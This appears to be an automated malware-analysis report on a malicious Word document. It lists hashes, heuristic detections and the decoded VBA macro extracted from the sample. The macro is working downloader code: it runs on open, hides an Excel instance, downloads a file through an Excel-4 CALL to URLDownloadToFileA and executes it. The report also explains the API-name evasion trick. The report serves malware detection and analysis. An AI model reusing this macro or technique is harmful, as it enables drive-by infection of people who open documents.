Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 121c95b5f5c37bf6…

MALICIOUS

Office (OOXML)

19.0 KB Created: 2021-02-17 10:51:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2021-02-23
MD5: 2e99d7d4c3114b84bea2bf1715bbb00e SHA-1: 76f70cdab49d4f2c2cee0513503daf05875fd787 SHA-256: 121c95b5f5c37bf6839cd886872d081f88c3079dd7a4550bfdbe88855c789064
190 Risk Score

Heuristics 6

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    keywords = """urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""" + title + """,""" + comments + """"
  • VBA injects an Excel-4 macro CALL to a download/exec API critical OLE_VBA_XLM_CALL_INJECTION
    VBA writes Excel-4 (XLM) =CALL() formulas targeting urlmon URLDownloadToFile / Shell32 ShellExecute and runs them. This VBA-to-XLM bridge downloads and executes a payload while keeping the API names out of normal VBA keyword scanning.
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set ExcelSheet = CreateObject("Excel.Application")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1380 bytes
SHA-256: 6a76092214d215ac3fd642c049bd20995768a111f547f69f950084653d9541d9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub AutoOpen()

Dim ExcelSheet As Object

Dim title, comments, keywords, strMacro As String

title = ActiveDocument.BuiltInDocumentProperties("Title").Value

comments = ActiveDocument.BuiltInDocumentProperties("Comments").Value

keywords = """urlmon"",""URLDownloadToFileA"",""JJCCJJ"",0,""" + title + """,""" + comments + """"

Set ExcelSheet = CreateObject("Excel.Application")

Set Workbook = ExcelSheet.workbooks.Add()

Set Worksheets = ExcelSheet.Worksheets

ExcelSheet.DisplayAlerts = False
ExcelSheet.Application.Visible = 0


Worksheets.Add Before:=Worksheets(1), Count:=1, Type:=4
On Error Resume Next


ExcelSheet.Range("A1").Name = "ok"

ExcelSheet.Application.Cells(108, 1).Value = "=CALL(" + keywords + ",0,0)"

ExcelSheet.Range("A109") = "=WAIT(NOW()+""00:00:6"")"
ExcelSheet.Range("A111") = "=" + StrReverse("CEXE") + "(""" + comments + """)"





ExcelSheet.Sheets(1).Visible = 2



strMacro = "ok"
ExcelSheet.Run (strMacro)

ExcelSheet.Application.Quit
Set ExcelSheet = Nothing


End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18432 bytes
SHA-256: 80f2eba684fd594890fb08b4db6ccdcf6580c192a7b4429fae60fd52a5901b47

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